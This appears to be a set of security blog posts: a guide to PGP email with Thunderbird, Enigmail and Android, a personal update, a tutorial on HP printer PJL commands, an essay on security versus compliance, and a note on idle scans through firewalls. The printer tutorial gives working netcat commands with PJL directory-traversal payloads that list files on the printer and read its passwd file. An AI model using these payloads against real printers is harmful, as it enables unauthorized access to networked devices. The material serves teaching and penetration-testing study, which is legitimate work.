Securing Your (Mobile) Email: Thunderbird, GnuPG, Enigmail, AGP, Gmail and K9mail

While teaching my CISSP students the other day, we got to talking about cryptography. This lead to a discussion about implementing PGP on your personal email and how you could accomplish this.

In the past, I have used Thunderbird and the Enigmail plugin to help implement PGP on my personal email and, through this discussion with my students, I realized I’d dropped the capability almost as quick as I’d picked it up.

Why? Mostly because the only person I was trading encrypted emails with was my friend Mike in Chicago and I think we might have done that a grand total of once. So, it wasn’t a pressing technology at all. And when I wiped out my Ubuntu for Windows 7 (*gasp*!) I forgot to backup my encryption keys and promptly decided not to bother with it again.

But nowadays, I’m interfacing with many more people and the need for cryptography on my personal e-mail is growing. So, I thought I’d give a quick write up on using Enigmail with Thunderbird.

However, one thing I’ve always wanted to do was implement the same ability on my Android phone. I’ve got a Droid X (first generation) and, since I’ve still got another year on my contract with it, I like to keep myself from getting bored with such an antiquated phone.

So, this past week, I decided to re-implement Enigmail on Thunderbird. And when I was done with that, I wanted to find out how to USE THE SAME KEYS on my mobile device to encrypt email.

Since this is a “plug-it-all-together” kind of implementation, I thought I’d share with all of you. I’ll give you fair warning, though, there are quite a few (but easy) steps to this, so the write up could be long.

Thunderbird & Enigmail

I’m not going to write a tutorial on how to install Thunderbird. Grab it off Mozilla’s site and install it, if you don’t use it already. It’s a great e-mail client and it’s free. There’s nothing better than not paying a license to read your mail.

Once it’s installed and configured for your e-mail account (mine’s a gmail account), then you’re going to want to download and install Enigmail. Enigmail is an extension for Thunderbird that allows you to write and receive encrypted email. It does this by communicating with GnuPG, an open-source implementation of the OpenPGP standard.

So, the first thing we’re going to need to install is GnuPG for Windows (or GPG4Win, as it’s known). If you’re a linux user, you can download and install GnuPG as a package in your distribution. A little googling and you’ll find it. For those that are Windows users, follow the instructions below.

GPG4Win

So, for Windows users, download GPG4Win from www.gpg4win.org.

Since we’re savvy security folks, we’re going to check the file’s hash, since the developers were so kind to include it on our web site.

For this task, I use hashtab, a Windows Explorer extension found at http://implbits.com/HashTab/HashTabWindows.aspx

It’s a match, let’s install it. Installation is very straight-forward, so just remember the path that you installed it into in case Enigmail can’t find the executables later. Enigmail sometimes has problems finding GnuPG.

Installing Enigmail

Prior to installing Enigmail, your Thunderbird menu bars will look something like this:

When we’ve installed Enigmail, we’ll have another menu item, called “OpenPGP”. We’ll show that in a few.

The first thing we want to do is download Enigmail from their web site: http://enigmail.mozdev.org/home/index.php.html

Once you’ve downloaded it, open up Thunderbird and click on the “Tools” menu and select “Add-Ons”.

You will be presented with the screen below. Click on the gear-shaped icon as shown in the detail below and select “Install Add-on From File …”

Browse to where you downloaded Enigmail (it’s a file with a .xpi extension and it’s usually named something like “enigmail-X.X.X-sm+tb-windows.xpi”) and Enigmail will install.

Once you’ve installed, it however, you will need to set up Enigmail. It’s also possible Thunderbird will need to restart after Enigmail’s install, so feel free to do that now.

Enigmail Setup

Once you’ve gotten Thunderbird restarted, it’s time to set up Enigmail. Setup is very easy, since there’s a wizard that walks you through it. However, we’ll go through the necessary steps below. It is also possible that Enigmail will not be able to find the GPG executables (because it’s looking for “gpg.exe” and GPG4Win provides you with a “gpg2.exe”), if this is the case and you are prompted to browse for your GnuPG files, simply browse to the directory where you installed GPG4Win and locate the “gpg2.exe” file.

If that’s all out of the way, let’s setup Enigmail.

Enigmail Setup Wizard

To launch the Setup Wizard for Enigmail, you should

Click the “OpenPGP” menu and select the “Setup Wizard”

On the first screen of the Setup Wizard, select “Yes, I would like the wizard to get me started”

On the second screen, choose which email account you’d like to create a key pair for. As I have several email accounts, Enigmail chose to ask me if I wanted to create key pairs for each of my accounts. Since I only want to do this for my fleec3@gmail.com account, I only checked off that one. You may not be presented with this choice if you have only one e-mail account.

On the next screen, you will be asked if you want to sign all of your outgoing e-mail by default. This is one of the best ways to get your public key out in the public (and that’s the intent of this exercise, isn’t it?) so, I chose “Yes, I want to sign all of my email”

On the next screen, you will be asked if your outgoing emails shall be encrypted by default. Since I don’t have in my possession a lot of my contacts’ public keys yet, I chose to answer “No, I will create per-recipient rules for those that sent me their public keys”

On the last screen of the Enigmail Setup Wizard, you will be asked if it is ok that Enigmail make some changes to Thunderbird for you. Those changes are:

“Disable loading IMAP parts on demand”

“Disable flowed text”

“View Message body as plain text”

“Use 8-bit encoding for message sending”

And lastly,

“Do not compose HTML Messages”

Personally, I don’t mind any of these changes, for the most part. However, I decided to uncheck “View message body as plain text” because most of the email I get is nicely created with HTML. So far, I haven’t seen too much of an issue with this setting remaining unchecked.

On the next screen, you will be prompted if you want to generate a new key pair or if you want to use an existing pair. If you’ve previously used another set of keys, this is where you could import them into Enigmail.

On the next screen, Enigmail will ask you for a passphrase to use when protecting your private key. It password-protects it and when you want to use your private key for decryption, it will prompt you for this passphrase. This means you’ll want to keep this passphrase handy (perhaps in Keepass?) or keep it something you’ll remember (and please, don’t make it “Password1”).

Enigmail will then generate the keys for you.

Here’s what the Setup Wizard will look like while it’s generating the keys …

Once key generation is completed, Enigmail will prompt you to generate a certificate you can use for revoking your key, when necessary. I recommend generating this certificate and leaving it somewhere you will remember.

Once you click “Generate Certificate”, it will prompt you where to save the Revocation Certificate. Please save it somewhere other than the GnuPG directory (the default location). It is something you should protect and leave somewhere secure.

Once you have completed the Setup Wizard, your e-mails from that account should have the “Sign Message” selection under “OpenPGP” checked off. If you have a public key from one of your e-mail contacts, then you should be able to Encrypt a message to that contact as well.

If your main goal was to install Enigmail on your computer/laptop to sign and encrypt mail in Thunderbird, you’re done!

For me, I wanted to go that extra step and use these same keys I generated for Thunderbird and use them to encrypt emails from my Android device. Luckily, there exists a way to do this.

Encrypted Email on Android OS

So, the very same way we used OpenPGP software on our Windows OS, we need to install the same kind of cryptography software on our Android OS. And the same way we used Thunderbird to send encrypted e-mails, we need to install an e-mail client on our Android OS that will allow us to use cryptography, as well.

Luckily, Android Privacy Guard (located here: http://thialfihar.org/projects/apg/ ) gives Android users the ability to implement GnuPG on their Android devices.

And, as luck would have it, an email client called k9mail (whose page is located here: http://code.google.com/p/k9mail/) has built-in integration for AGP. So, just like we used a plugin for Thunderbird to implement GnuPG, we can install k9mail and have it interface with AGP to provide us GnuPG functionality!

AGP

On your Android device, you can get AGP in the Android Market. Or you can go here: https://market.android.com/details?id=org.thialfihar.android.apg

K9Mail

On your Android device, you can get k9mail in the Android Market. Or you can go here: https://market.android.com/details?id=com.fsck.k9

Once you have both of those pieces of software installed, we can use Enigmail to export our public and private keys into AGP.

Enigmail Key Management

In Thunderbird, click the “OpenPGP” menu and select “Key Management”.

Then, the Key Management console will come up.

Now, it may look like you have no keys in Key Management, but you do. Check the checkbox next to “Display All Keys by Default” and you will now see the keys that were generated from our Enigmail Setup Wizard.

In order to export your keys to files, right click the identity you want to export and select “Export Keys to File”.

Enigmail asks if you want to include the Secret Key in your export file. Answer yes to this by click “Export Secret Keys”.

Your export file with both your Public and your Secret key will want to be exported to an ASCII file (.asc).

Hold onto this file because we’re going to copy it to our Android device momentarily.

Copy your public and secret key export file to your Android device

At this point, plug your Android device into your laptop, make sure your USB connection is set to “USB Mass Storage” and copy your export file(s) to your Android device. I highly suggest that you copy them to /mnt/sdcard/AGP, as AGP will be looking in there for .asc files by default.

If you’ve successfully copied your .asc files over to your Android device, you can unmount the USB mass storage, eject the USB device and you’re ready to rock.

Importing keys into AGP

From here on in, we’ll be working solely on the Android device.

To import keys into AGP, you’ll need to fire up AGP.

Next, hit the “Menu” button to bring up AGP’s menu.

Select the “Manage Public Keys” button.

AGP will give you a dialog to browse for the .asc files we’ve copied over. Hopefully, you’ve copied them to the SD card’s AGP directory (or made one and then copied the files in). Because AGP asks for that location by default. Save yourself some browsing around and just copy the files into the /mnt/sdcard/AGP folder.

If you use Android’s File Explorer to browse to the .asc files, you will most likely get returned to the dialog with this type of content:

Now, you may be asking “What is all THAT!?”

Don’t worry. The scientific answer is: “It’s all gobbledy-gook”. Seriously. We don’t need it all and I’m not going to use my Google-searching minutes finding out what it really is. So just do this: cut out everyting BEFORE “/mnt/sdcard…..”

So that it instead looks like this:

Go ahead. I’ll wait. Just click in there and make sure you keep the leading backslash (“/”) before mnt and hit the backspace button to remove everything before it.

Now click “OK” and AGP will import your public keys.

When it’s completed, you should see a screen like this:

At this point, you need to repeat this step as we have already done, but instead, this time, you’re going to perform these steps and select the “Manage Secret Keys” button, instead.

Setting Up K9Mail

Now, I set up k9mail to use my fleec3 gmail account. You may have another email provider. Know your Incoming and Outgoing server settings (you probably needed to find them in order to set up Thunderbird).

For those of you using google mail, your server settings will most likely be close to those below. K9mail has a wizard that will help you set up the account, but if you don’t get it set up at first, you can edit your account settings.

Incoming server settings (Under “Fetching Mail”):

Outgoing Server settings (Under “Sending Mail”):

Once you have your account set up, you can tell k9mail to use AGP to encrypt emails (Under “Cryptography”):

1. Under the “OpenPGP Provider” option, select APG.
2. Check the checkbox next to “Auto-sign”

That’s it. At this point, you can send and receive encrypted emails on your Android device or on your laptop/computer using Thunderbird. Either way, you’re using the very same keys.

Conclusion

I hope this walk-through helped you set up encrypted email both on your computer as well as on your mobile Android device. If you have any questions, feel free to ask either in the comments below or hit me up on Twitter.

2012 & The Silence of 2011

Hey All,

  I've been kind of quiet lately (you might have seen the occasional Tweet, but other than that, this blog has been a bit silent).
  I apologize to you, the readers, for this lack of postings. This past Fall, I switched jobs and I've been spending the past three months adjusting to my new job, so this blog has become a bit of a low priority.
  Recently, I realized that, when it comes to my new job, I have pretty much hit my stride and have got a good pace going on there.
  Which means, that now I can focus again on this blog and the lessons contained here.
  So, over the next few weeks, I'm going to start to organize thoughts and ideas for hacking lessons and I will lay out a schedule. This way, I've got goals to achieve and you can know ahead of time what's coming down the pipe.
   I can tell you that I purchased the new Metasploit book a few months back and am REALLY impressed by it. I'm hoping that I'll be able to present to you a few lessons based on Metasploit and I've got a plethora of information regarding Wireshark that should come in handy for a lesson or three.
   If any of you readers (and I see from the recent comments on some of these entries that there really are a few of you, not just spam comments [w00t!] ) have some suggestions for a topic, I'll also entertain a write up on that, as well.

   Anyway, I hope all of you are enjoying your New Year and I'll see you over the next few weeks!

-Drew

“Hacking” Printers - PJL Basics

Notice the quotes in the title? That’s because this particular write up is about knowing and understanding the basics. A long time ago, you became a “hacker” because you were someone who was an expert in a subject.

I know people that have forgotten more about VMS than I could ever learn. They became known as a VMS “hacker” because they knew everything that could be known about VMS.

A short while later in my career, I got to be known as the AIX “hacker” because I knew more about AIX than even some IBM techs I’d talk to on the phone. That’s why the term “Hacking” in the title has quotes. What we’re going to talk about today is understanding some very basic features that most people have forgotten about and being able to manipulate those features to help us do some bad stuff.

HP Printer Vulnerability

I’ve been surrounded by a lot of debate, since the HP printer vulnerability controversy sparked up (like the pun?) earlier this week. If you’ve NOT been living with your head buried in the sand the past few days, then you’ve not doubt heard that security researchers have dug into some inherent functionality in HP printers and figured out a way to use it to do some things that could cause some alarm. HP has, since, officially argued that claims about burning printers are sensationalistic.

I’ve been personally dragged into a couple of misguided conversations regarding these new findings and there are a few things that I don’t think have been made crystal clear about the vulnerabilities. With that in mind, I figured we could take a few moments here at Hack On A Dime to refamiliarize ourselves with the basics of HP Printers and focus on what’s at the heart of the new research: PJL.

For those that are not familiar, PJL is very nearly the heart of communication with print queues. But, let’s not get ahead of ourselves.

Printer Communication

Printers are, in essence, simply computers. They communicate via the network, like PC’s, but, unfortunately, they may be the most neglected devices on any network. A sampling of printers tested (later in this article), showed me that they hadn’t had firmware updates in well over a year. (This helped me greatly, because the vulnerability I ended up exploiting was found within that year, so I really shouldn’t complain).

HP Printers have five main ways of communicating on the network, if they’re networked and using JetDirect:

• HTTP
• HTTPS
• Telnet
• SNMP
• PCL / PJL

HTTP and HTTPS, is served through what HP calls the Embedded Web Server, or EWS. Now, most administrators, when deploying HP printers, turn off HTTP in favor of HTTPS. Ok, maybe not most, but those that have an understanding about security know that HTTPS is better than HTTP, so they usually turn off communications on Port 80, in favor of Port 443 (HTTPS).

If an admin communicates with their printer through Telnet, the password is usually the same using Telnet, as it is using EWS. SNMP is a whole other discussion (and a whole other vulnerability discussion – did you know you can snmpwalk an HP printer without the community string? Yeah, we’ll talk about THAT later.).

But what’s interesting is PJL – the Printer Job Language – an extension of PCL (the Printer Command Language – how print jobs are communicated to printers) is another way to communicate with the printer and has some … INTERESTING features that help us, the hacker.

PJL, by the way, supports the ability to password protect it (with a separate password from EWS/Telnet) so you can actually protect the printing stream (a little). The following examples, however, were successfully implemented on an HP printer without PJL password being set. But, let’s face facts, nearly 99.9% of the printers out there WILL NOT have the PJL password set.

So, let’s take a look at how we can use PJL to make the printer do some interesting things. NOTE: below, where [ESC] is used, you need to actually insert the ESCAPE character. I highly suggest you use Notepad++ in order to craft the ASCII commands. Regular Notepad just won’t cut it.  And, lastly, you should know that in order to send the commands to the printer, you’re going to use netcat.exe (or nc.exe). This will send the commands in a “raw”, unadulterated way so the printer will interpret the commands correctly.

First, if you want to try something easy out, you can tell the printer to change the “READY” message to something else.

The code to change the “READY” message to “Igor!!!!” do that is:

[ESC]%-12345X @PJL RDYMSG DISPLAY="Igor!!!!"

[ESC]%-12345X

You can paste that code into Notepad++, substitute the [ESC] with the actual Escape character and save the file to a directory. In a Windows environment, you can open a DOS box and issue the “type” command to “echo” the file to netcat. For instance, if you had saved the file as “pjl1.txt”, you can do the following:

type pjl1.txt | nc -v -v <PRINTER IP ADDRESS> 9100

Linux folks can, of course, use “echo” to perform the same thing. Regardless, sending that code to the printer resulted in the printer’s display message reading:

Knowing that the printer accepts PJL code, we can now start to send it way more interesting code. Like what you ask? Well, thanks to a vulnerability associated with PJL code and directory traversal (you know, the practice of inserting periods and slashes into a pathname to traverse the directory structure and get to places you shouldn’t?) we can start to list out the contents of the hard drives that are installed in the printer.

In HP’s world, the main drive is called drive “0:” and the next drive is called drive “1:”. So, for you Windows folks, you have “C:” and the HP printers have “0:”. So, let’s go ahead and list out the “etc” directory.

This code lists out the contents of the ‘etc’ directory for me:

[ESC]%-12345X@PJL FSDIRLIST NAME="0:\\..\\..\\..\\etc" ENTRY=1 COUNT=999999

[ESC]%-12345X

Save this file and “type” it out to netcat.

type pjl-fsdirlist.txt | nc -v -v <IP Address of Printer> 9100

And this was the output of the command:

[Fully Qualified Domain Name] [IP Address] 9100 (?) open

@PJL FSDIRLIST NAME="0:\\..\\..\\..\\etc" ENTRY=1

. TYPE=DIR

.. TYPE=DIR

hp TYPE=DIR

starttab TYPE=FILE SIZE=315

passwd TYPE=FILE SIZE=23

ttys TYPE=FILE SIZE=1357

hosts TYPE=FILE SIZE=159

resolv.conf TYPE=FILE SIZE=53

fsdev TYPE=FILE SIZE=681

fstab TYPE=FILE SIZE=247

Using the PJL commands to interact with the Filesystem is not a hack, it is a feature. However, it is a feature that we can use to view the contents of the hard drives and even the contents of the files. See that “passwd” file up there? Let’s see what’s in it.

This code (the FSUPLOAD command) allowed me to view the contents of the file by sending a print job to the printer.

[ESC]%-12345X@PJL FSUPLOAD NAME="0:\\..\\..\\..\\etc\passwd" OFFSET=0 SIZE=22000

[ESC]%-12345X

The output of this command looked like this:

type pjl1.txt | nc -v -v <IP Address of Printer> 9100

Fully Qualified Domain Name [IP Address of Printer] 9100 (?) open

@PJL FSUPLOAD FORMAT:BINARY NAME="0:\\..\\..\\..\\etc\passwd" OFFSET=0 SIZE=23

root::0:0::/:/bin/dlsh

Conclusion

Hopefully, this tutorial helps illustrate for you some basic PJL commands and how to use them to interact with the printers. If you want to learn more about PJL commainds, go ahead and google “PJL reference manual”, you’ll get a number of hits listing out PDF’s containing a ton of PJL commands you can use to mess around with the printers you find on networks you test.

Or, if you decide to really take the quick hacker highway, you can check out this script on attackvector that combines a lot of this stuff together in one Perl script.

Or, if you’re a Metasploit user, you can check out this module that also executes PJL queries.

The key thing to take away from this tutorial is this: the new security research may or may not be 100% accurate, but it should be a launching point for discussion and your expert knowledge in this subject should help you educate others who may not quite understand the claims that are being made regarding the vulnerability of HP Printers.

Security vs. Compliance: When is Too Little Not Enough?

We’ve talked a bit about offensive type security: knowing how to attack a system is all well and good. Most penetration testers should know as many of the different ways an attacker can penetrate a system so that they can help build defenses used to slow down the bad guys. This is an integral aspect to Information Security and one that we focus on here at “Hack On A Dime” very much.

However, there’s more to Information Security than just knowing how to attack and defend. Management worth their salt should be able to view their enterprise and be able to visualize how their security plan (as a whole) protects their network. This skill is something that’s crucial to being able to adapt to new technologies and still protect information. And it’s one of the skills that I and my team pride ourselves on building up over the past few years of working together.

Recently, I had a conference call with a client regarding one aspect of Information Security Management: software baselines & procedures. The client was assigned the task of reviewing current procedures for building servers. They had outlined settings that, when a system administrator would build a new RedHat Enterprise Linux 6 server, the admin would follow these procedures to build a server that is compliant with current standards. I say “compliant with current standards”.

It is this aspect of Information Security Management that provides a foundation for being able to provide measurement to vulnerability exposure. Notice how I didn’t say it provided metrics to how secure you are. Why not? Because it doesn’t. Being able to provide visibility to your exposure window for certain vulnerabilities is only one part of an all-encompassing Information Security plan.

This conference call shed light on one of the most erroneous aspects of Information Security mis-management and it’s a topic I thought you, as a penetration tester, and future Information Security Management member, might benefit from hearing about.

Compliance and Standards

The client started the conference call by displaying to all on the call their web-based standards application and first going over some of the more “stringent” standards that they’d drafted up.

And it is here where I, as a consultant, needed tread lightly, because here, as the saying goes, there be dragons. Because the “stringent” standards the client boasted about did, in fact, contain strong terms such as “users will implement encrypted protocols such as ssh or sftp” and yet, at the same time, it contained such wishy-washy terminology as “when the infrastructure can support it”. It was wishy-washy-ness such as this that gives the very human system administrators and users a way out of any restrictions the standards may dictate.

Therefore, restrictions has lost their teeth. The Standards are no longer enforceable by any party that should be given the role of enforcer. No auditor, no management can easily enforce these standards if the rule itself contains a phrase that states “you must do this” … “if you can”. Because the user will claim they can’t. Always.

And yet, I remained quiet. After all, they are the client and the client is always right.

Putting aside the “wishy-washy” verbiage with which the client’s Standards were crafted, let’s look at what they actually state. The client was required to be compliant with Payment Card Industry Data Security Standards or PCI-DSS. The client’s Standards & Policies reflected their desire to be compliant with the PCI Data Security Standards. The restrictions that the Standards dictated, demonstrated a desire for their systems to be less wild and insecure and more in line with other systems that are compliant with PCI DSS requirements.

While the task at hand was to review the procedures to build new servers and ensure they are still compliant with PCI DSS requirements, I, as an experienced security expert, saw that while the procedures did a good job of mapping out compliance to the PCI DSS requirements, it nagged at my very being that what was being laid out for this client as a baseline for building secure servers, was, in fact, a minimal set of security settings, at best.

“Real World” Security vs “Just Okay” Compliance

The client’s standards spoke of setting warning banners to proclaim loudly, “Attacker! This computer is not your computer! By accessing it, you may be prosecuted!”. The client’s standards spoke of turning of telnet and FTP (unencrypted protocols that any network sniffer could capture) and ensuring that use of SSH and SFTP (encrypted protocols) was turned on.

However, basic “real world” security settings were completely and utterly ignored. For instance, it isextremely well known that SSH version 1 has many vulnerabilities, it is a basic “real world” defense to configure all SSH servers to explicitly forbid fallback to SSH V1 communications. This is a quick setting that would take a moment to configure on any current SSH server.

So, for all the loud proclamations via setting a warning banner, nearly every server that answers SSH, allows a client to “downgrade” their communications to SSH V1. So, very nearly all their SSH servers were vulnerable to attack via exploits that were over ten years old.

When is Too Little Not Enough?

In this conference call, I brought up to the client the fact that their “stringent” Standards were somewhat lacking in their strength when it came to “real world” security. Very gently, I illustrated a few of the settings that the Center for Internet Security outlines in their SecurityBenchmarks and asked if the client wanted myself and my team to review the procedures for compliance and at the same time, review the CIS Security Benchmarks to produce for them a list of deltas that could be implemented to bring their baseline procedures up to a more secure plateau.

I was told “thank you, but no.”

And herein, lies the problem with most corporate security plans. This is the crux of why even the most “secure” facilities fall prey to attackers. Why do corporations who should know better get hacked on a nearly monthly basis? Because the corporate sector touts how “secure” they are by confusing the concept of security with the concept of compliance.

The two things are so incredibly diverse, as to be very nearly two separate thought processes.

Conclusion

What Information Security Management should realize is this simple concept: Being compliant with regulations and requirements should be a by-product of implementing a good, strong, security plan. All corporate entities should do the most they can to implement strong security and ensure that a subset of THAT security provides compliance with regulations.

Unfortunately, too many corporations ensure that they have done the least they can possibly do (the utmost minimal) to be compliant and constantly ignore the challenges they need to overcome to be truly as defensive as they possibly could when it comes to security.

If you’re going to be entering into the Information Security Management realm, understand that you need to be the preacher when it comes to implementing security over compliance.

Scanning an Internal Network Through A Firewall

OK - so this post's a quickie because a) the last 2 posts have totaled nearly 12 pages of source material and I need to focus on the new novel this weekend and b) it's so early on a Saturday morning that I've yet to grab a mug of "Jamaica Me Crazy" coffee yet. Thoughts aren't quite as coherent without Java. 

So here goes:

I stumbled across these posts this morning and while I haven't yet had time to try it, the write up seems solid.

According to this article, there are 2 new ways to implement an Idle scan (or variations of an Idle scan) in order to enumerate targets ON THE INSIDE of a firewall. This means that we, the attacker, don't have to be able to route to the victim/target in order to enumerate ports. The zombie we pick is the one that has to route, so in some cases, that can be the firewall or outlying router itself.

Are the terms "zombie" and "victim" not all that familiar to you? Don't quite remember what an "Idle scan" is? No problem.

Get caught up on traditional Idle scans here: http://www.networkuptime.com/nmap/page3-16.shtml

Then, check out this white paper detailing the 2 new ways to Idle scan here: http://people.csail.mit.edu/costan/readings/usenix_papers/Ensafi.pdf

And, just in case your head is spinning from that and you need the breakdown, check out this blog entry (http://www.malwarecity.com/community/index.php?app=blog&module=display&section=blog&blogid=23&showentry=7600) where MalwareCity has taken the time to explain them. 

Personally, I think scan #2 (SYN cache scan) is the way to go because the first option is dependent on having a FreeBSD box in the victim/target's DMZ or at least in the victim/target's external IP space. Chances of that are not exactly tiny, but they are limited. And why limit yourself when you have the option to use the SYN cache scan?